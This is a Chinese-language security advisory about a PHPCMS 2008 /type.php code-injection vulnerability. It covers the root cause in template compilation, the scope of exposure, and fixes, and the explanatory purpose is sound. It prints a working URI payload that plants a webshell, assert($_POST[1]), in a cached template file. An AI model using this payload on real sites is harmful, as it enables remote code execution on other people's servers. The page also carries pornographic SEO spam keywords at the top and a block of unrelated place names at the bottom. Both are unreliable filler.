91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何解決PHPCMS2008 /type.php代碼注入CVE漏洞

發布時間:2021-10-11 11:31:21 來源:億速云 閱讀:298 作者:柒染 欄目:云計算

如何解決PHPCMS2008 /type.php代碼注入CVE漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

PHPCMS網站內容管理系統是國內主流CMS系統之一,同時也是一個開源的PHP開發框架。

PHPCMS最早于2008年推出,最新版已出到v9.6.3,但由于穩定、靈活、開源的特性,時至今日,PHPCMS2008版本仍被許多網站所使用。

漏洞細節

當攻擊者向安裝有PHPCMS 2008的網站發送uri為如下文本的payload

/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

那么@unlink(_FILE_);assert($_POST[1]);這句惡意php指令將被寫入網站的/cache_template/rss.tpl.php文件。

漏洞原理

該漏洞源于PHPCMS 2008源碼中的/type.php文件。該文件包含如下代碼:

if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

這里template變量是用戶能夠通過傳入參數控制的,同時可以看到該變量之后會被傳入template()方法。而template()方法在/include/global.func.php文件中定義,包含如下代碼:
template_compile($module, $template, $istag);

不難看出,這里會繼續調用/include/template.func.php中的template_compile():

function template_compile($module, $template, $istag = 0)
{
    ...
    $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
    $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
    $strlen = file_put_contents($compiledtplfile, $content);
    ...
}

在這個方法中,template變量同時被用于compiledtplfile變量中文件路徑的生成,和content變量中文件內容的生成。

而前文所述的攻擊payload將template變量被設置為如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

所以在template_compile()方法中,調用file_put_contents()函數時的第一個參數就被寫成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,這將被php解析成data/cache_template/rss.tpl.php

最終,@unlink(_FILE_);assert($_POST[1]);將被寫入該文件。

影響范圍

雖然距離PHPCMS2008版本的推出已經10年,但仍有不少網站正在使用PHPCMS2008,包括政府、企業的網站;根據Fofa網絡空間安全搜索引擎的全網精確搜索結果顯示,還有近200個使用PHPCMS2008版本的網站;而如果使用模糊匹配對網站進行識別,匹配結果更達上萬個。

通過利用該漏洞,攻擊者在向路徑可控的文件寫入惡意腳本代碼后,后續將能夠向該文件發送webshell指令,在服務器上執行任意代碼,因此該代碼注入漏洞的影響較大。

安全建議

手動修復
臨時解決可以在/type.php文件中對template變量進行過濾,避免用戶輸入的含有"("、"{"等符號的內容混入,并被當做路徑和腳本內容處理。

但由于PHPCMS2008版本過舊,用戶應盡量升級到最新版本的PHPCMS,才能夠更好地保障安全。

安全加固
?云防火墻已支持對該類漏洞的入侵防御,開啟云防火墻IPS攔截模式和虛擬補丁功能,用戶即使不自行進行修復,也依然能夠進行防御和攔截。
?購買安全管家服務,您將能夠在阿里云安全專家指導下進行安全加固及優化,避免系統受到該漏洞及后續其他漏洞影響。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

泽州县| 兴海县| 舞钢市| 安龙县| 库车县| 板桥市| 新津县| 嘉祥县| 莆田市| 喀什市| 明光市| 福泉市| 潜山县| 鹤壁市| 靖边县| 吴桥县| 祁东县| 湄潭县| 石楼县| 岱山县| 滨州市| 六枝特区| 廊坊市| 阳原县| 汝阳县| 韶山市| 龙州县| 桃江县| 武宣县| 南丰县| 阿巴嘎旗| 沁水县| 乡城县| 将乐县| 繁峙县| 名山县| 青田县| 都安| 霍山县| 温宿县| 德清县|